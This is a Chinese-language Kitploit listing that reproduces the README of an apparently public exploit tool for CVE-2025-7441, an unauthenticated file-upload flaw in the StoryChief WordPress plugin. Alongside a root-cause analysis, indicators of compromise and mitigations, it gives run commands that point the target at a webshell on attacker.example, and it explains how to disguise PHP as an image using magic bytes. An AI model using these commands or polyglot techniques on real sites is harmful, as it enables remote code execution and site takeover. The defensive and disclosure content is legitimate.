Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - 未经身份验证的任意文件上传 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-7441
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubnxploited/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - 未经身份验证的任意文件上传

查看仓库
111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-7441

StoryChief <= 1.0.42 - 未经认证的任意文件上传

🚨 StoryChief <= 1.0.42 — 未经认证的任意文件上传 (CVE-2025-7441)

ℹ️ 概述

StoryChief (WordPress 插件) 版本 1.0.42 及以下版本通过 REST 端点 /wp-json/storychief/webhook 暴露了一个关键的未经认证的任意文件上传漏洞。攻击者可导致插件获取并持久化一个攻击者控制的远程资源(例如 webshell)到站点的上传目录,从而在许多默认的 WordPress 部署中实现远程代码执行。

  • CVE: CVE-2025-7441
  • CVSS: 9.8 (严重)

💥 影响

  • 远程未经认证的文件上传至 wp-content/uploads/YYYY/MM/。
  • 当上传的文件可执行时(例如 PHP),可能实现远程代码执行。
  • 当 WordPress 配置为在文档根目录下执行上传的 PHP 文件时,可能导致站点完全沦陷。

🧩 漏洞根因

该插件接受一个传入的 JSON 载荷(发布事件),其中包含一个 featured_image -> data -> sizes -> full 字段,指向任意 URL。StoryChief 未进行充分的文件类型/内容验证,也未限制 URL 来源,从而允许插件获取远程资源并将其保存到站点的上传目录下。没有足够的验证来阻止存储包含可执行代码的文件。


🛠️ 利用脚本——功能说明(映射到漏洞)

本节从高层次解释利用脚本(单独提供),并将每个重要行为映射到底层漏洞。

  • CLI 参数解析——目标 URL (-u/--url)、远程 shell URL (-shell)、可选的 HMAC 密钥、请求头、代理/超时/重试标志、调试和仅打印选项。
  • 目标规范化——当提供站点根目录时,自动追加 /wp-json/storychief/webhook。
  • Shell URL 验证——验证远程 URL 是否可达(HEAD/GET 或 curl)。
  • 文件名提取——使用远程 URL 的基础名推断最终的上传文件名。
  • 载荷构造——将攻击者控制的 URL 放入 data.featured_image.data.sizes.full,强制插件获取并存储文件。
  • HMAC 签名(可选)——使用可选的十六进制密钥计算 meta.mac (HMAC-SHA256);某些服务器可能忽略或要求此值。
  • 发送——使用带重试/退避的 requests 或 curl 后备,支持自定义请求头、代理和 --no-verify。
  • 响应处理——解析 JSON 响应中的 permalink/id 键以检测成功;否则报告失败。
  • 输出——成功时打印预期的上传路径:wp-content/uploads/YYYY/MM/。

🖼️ Shell 文件要求(关键)

当使用 .php 远程文件时(例如 https://attacker.example/shell.php),该文件必须包含有效的图像头部(魔术字节),以便被插件或图像处理代码视为/接受为图像。关键点:

  • 使用多语言方法:文件应以有效的图像魔术字节开头(例如 JPEG、PNG 或 GIF),以便简单的检查和图像处理程序接受它,同时包含 PHP 载荷,该载荷在磁盘上按原样保留。
  • 常见图像魔术字节:
    • JPEG: 0xFF 0xD8 0xFF
    • PNG: 0x89 0x50 0x4E 0x47
    • GIF: ASCII "GIF89a" 或 "GIF87a"
  • 不要仅依赖文件扩展名。许多插件会检查文件内容或使用验证图像完整性的库(GD、ImageMagick)。
  • 环境相关:某些服务器会进一步验证或重新编码图像,这可能会剥离注入的代码。请先在授权的实验室中测试。
  • 道德提醒:不要在此处发布可工作的 webshell 代码。仅限在授权环境中创建和测试此类文件。

▶️ 运行方式(示例)

将占位符替换为授权目标。以下所有示例均使用 .php 远程 shell URL。

  • 基本示例:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
  • 明确 webhook 路径并开启调试:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
  • 使用 curl 代替 requests:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
  • 仅打印载荷(不发送):
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only

重要标志:

  • --no-verify:跳过 TLS 验证(谨慎使用)。
  • --proxy:通过代理发送请求。
  • --header "Key: Value": 添加自定义请求头。

📤 预期输出

  • 成功运行:
    • Uploaded: wp-content/uploads/2025/10/shell.php
  • 调试示例:
    • [DEBUG] shell HEAD status: 200
    • [DEBUG] post status: 200
    • [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
  • 失败消息:
    • "[-] Error: shell URL is not reachable (not HTTP 200)"
    • "[-] Error: request failed"
    • "[-] Error: upload failed or endpoint returned non-JSON/HTML"

🔎 检测与入侵指标(IoCs)

  • 来自未知 IP 的针对 /wp-json/storychief/webhook 的意外 POST 请求。
  • wp-content/uploads/// 目录中出现带有 PHP 扩展名或包含嵌入式代码的图像扩展名的新文件。
  • Web 服务器日志显示向攻击者控制的域名发出出站 GET 请求,随后访问上传的文件。
  • 可疑的图像文件,附加或嵌入了非图像内容。

🛡️ 缓解与修复

短期措施:

  • 立即将 StoryChief 升级到已修补的版本(如果可用)。
  • 通过 WAF 或服务器规则阻止或限制 /wp-json/storychief/webhook。
  • 限制服务器的出站获取或对不可信域名的出口流量。

开发者指导:

  • 在任何远程获取后验证文件类型和内容;使用安全解析器验证图像并拒绝无效文件。
  • 对导致服务器端下载或文件创建的 webhook 要求身份验证。
  • 确保实施并强制执行 HMAC/签名验证。
  • 将上传的内容存储在 web 根目录之外,或禁用 wp-content/uploads 中上传文件的执行权限(通过 Web 服务器规则)。

⚠️ 限制与注意事项

  • 利用成功取决于服务器配置、图像处理库和 Web 服务器执行策略。
  • 对图像进行重新处理或重新编码的服务器可能会移除注入的载荷。
  • 如果插件验证签名,提供错误的 mac 可能导致拒绝。

🤝 负责任使用

本文档面向防御者和授权测试人员。请勿针对您不拥有或未获明确许可的系统使用这些技术。未经授权的利用是非法的且不道德。

如果您向供应商或网站所有者报告此问题,请提供复现细节、安全的修复步骤和建议的修复方案。


📚 参考与致谢

  • 报告与利用脚本作者:Nxploited (Khaled Alenazi) — 脚本文件名:CVE-2025-7441.py(单独提供)
  • CVE: CVE-2025-7441
  • CVSS: 9.8
下载工具